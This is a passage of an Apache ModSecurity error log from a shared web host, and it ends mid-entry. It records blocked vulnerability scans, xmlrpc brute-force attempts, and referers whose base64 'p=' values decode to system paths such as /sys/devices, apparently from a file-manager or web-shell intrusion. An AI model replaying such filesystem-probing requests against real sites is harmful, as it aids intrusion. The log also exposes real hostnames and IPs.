240.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z-VWSojQL4F7upKCLbgAA0kM"] [Sat Jun 13 18:21:13.202628 2026] [access_compat:error] [pid 646876:tid 647001] [remote 57.141.14.32:53667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:13.203022 2026] [access_compat:error] [pid 646876:tid 647001] [remote 57.141.14.32:53667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:13.273333 2026] [security2:error] [pid 648189:tid 648446] [client 172.56.168.133:14674] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3z-VWSojQL4F7upKCLbwAAAOA"] [Sat Jun 13 18:21:13.273459 2026] [security2:error] [pid 648189:tid 648446] [client 172.56.168.133:14674] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3z-VWSojQL4F7upKCLbwAAAOA"] [Sat Jun 13 18:21:13.316032 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9MTlhDUFU6MTY= [Sat Jun 13 18:21:13.316296 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9MTlhDUFU6MTY= [Sat Jun 13 18:21:13.473931 2026] [access_compat:error] [pid 646876:tid 646898] [remote 57.141.14.41:20091] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:13.474212 2026] [access_compat:error] [pid 646876:tid 646898] [remote 57.141.14.41:20091] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:13.613773 2026] [security2:error] [pid 648189:tid 648278] [remote 17.22.237.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z-VWSojQL4F7upKCLdQAApDg"] [Sat Jun 13 18:21:13.737702 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.40:26046] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:13.738132 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.40:26046] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:13.827406 2026] [security2:error] [pid 646876:tid 646995] [remote 17.246.23.119:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 119.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z-dyTkdrNlD40tSHEwgAAOnQ"] [Sat Jun 13 18:21:13.860031 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:21:13.860341 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:21:13.934433 2026] [security2:error] [pid 648189:tid 648275] [remote 74.7.227.53:53970] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3z-VWSojQL4F7upKCLdwAAtTU"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-anade-modulo-para-temperatura-y-cubrebocas-hikcentral-p-tempmask-module [Sat Jun 13 18:21:14.142362 2026] [security2:error] [pid 648189:tid 648451] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/url/parse_url_basic_004.phpt"] [unique_id "ai3z-lWSojQL4F7upKCLegAAAOU"] [Sat Jun 13 18:21:14.148734 2026] [security2:error] [pid 648189:tid 648470] [client 210.217.96.217:14459] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3z-lWSojQL4F7upKCLfAAAAPQ"] [Sat Jun 13 18:21:14.148831 2026] [security2:error] [pid 648189:tid 648470] [client 210.217.96.217:14459] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3z-lWSojQL4F7upKCLfAAAAPQ"] [Sat Jun 13 18:21:14.175234 2026] [access_compat:error] [pid 648189:tid 648343] [remote 216.73.216.223:46958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:14.175515 2026] [access_compat:error] [pid 648189:tid 648343] [remote 216.73.216.223:46958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:14.201102 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.13:25649] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:14.201566 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.13:25649] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:14.373443 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:21:14.373898 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:21:14.414785 2026] [security2:error] [pid 648189:tid 648286] [remote 17.241.219.73:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z-lWSojQL4F7upKCLggAAz0A"] [Sat Jun 13 18:21:14.429999 2026] [access_compat:error] [pid 648189:tid 648243] [remote 57.141.14.53:42396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:14.430314 2026] [access_compat:error] [pid 648189:tid 648243] [remote 57.141.14.53:42396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:14.493535 2026] [security2:error] [pid 648189:tid 648236] [remote 17.246.23.4:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 4.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z-lWSojQL4F7upKCLhQAAig8"] [Sat Jun 13 18:21:14.593618 2026] [security2:error] [pid 648189:tid 648226] [remote 216.73.216.223:46958] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3z-lWSojQL4F7upKCLiQAAswY"], referer: https://homs.co.ke/?action=adminer&p=Ly91c3Ivc2hhcmUvZGljdA%3D%3D [Sat Jun 13 18:21:14.643422 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.92:38208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:14.643697 2026] [access_compat:error] [pid 648189:tid 648290] [remote 57.141.14.92:38208] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:14.674026 2026] [access_compat:error] [pid 646876:tid 646968] [remote 57.141.14.94:31820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:14.674490 2026] [access_compat:error] [pid 646876:tid 646968] [remote 57.141.14.94:31820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:14.786135 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.100:46499] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:14.786581 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.100:46499] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:14.877186 2026] [security2:error] [pid 646876:tid 646907] [remote 17.22.237.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z-tyTkdrNlD40tSHE5QAAUxw"] [Sat Jun 13 18:21:14.905800 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:21:14.906263 2026] [access_compat:error] [pid 646876:tid 646911] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:21:15.265265 2026] [access_compat:error] [pid 646876:tid 646885] [remote 57.141.14.106:27943] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:15.265748 2026] [access_compat:error] [pid 646876:tid 646885] [remote 57.141.14.106:27943] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:15.424033 2026] [access_compat:error] [pid 646876:tid 646905] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjE2 [Sat Jun 13 18:21:15.424471 2026] [access_compat:error] [pid 646876:tid 646905] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjE2 [Sat Jun 13 18:21:15.571517 2026] [security2:error] [pid 648189:tid 648429] [client 13.140.175.37:65422] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "absurdtv.us"] [uri "/"] [unique_id "ai3z-1WSojQL4F7upKCLkwAAANA"] [Sat Jun 13 18:21:15.587543 2026] [security2:error] [pid 646876:tid 646893] [remote 17.22.253.245:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 245.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z-9yTkdrNlD40tSHFBwAAVg4"] [Sat Jun 13 18:21:15.918098 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:21:15.918532 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:21:15.938877 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.78:56930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:15.939579 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.78:56930] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:16.225419 2026] [security2:error] [pid 646876:tid 646966] [remote 17.241.227.185:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 185.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z_NyTkdrNlD40tSHFJAAANVc"] [Sat Jun 13 18:21:16.252171 2026] [access_compat:error] [pid 646876:tid 646951] [remote 57.141.14.86:46498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:16.252592 2026] [access_compat:error] [pid 646876:tid 646951] [remote 57.141.14.86:46498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:16.449903 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:16.450207 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 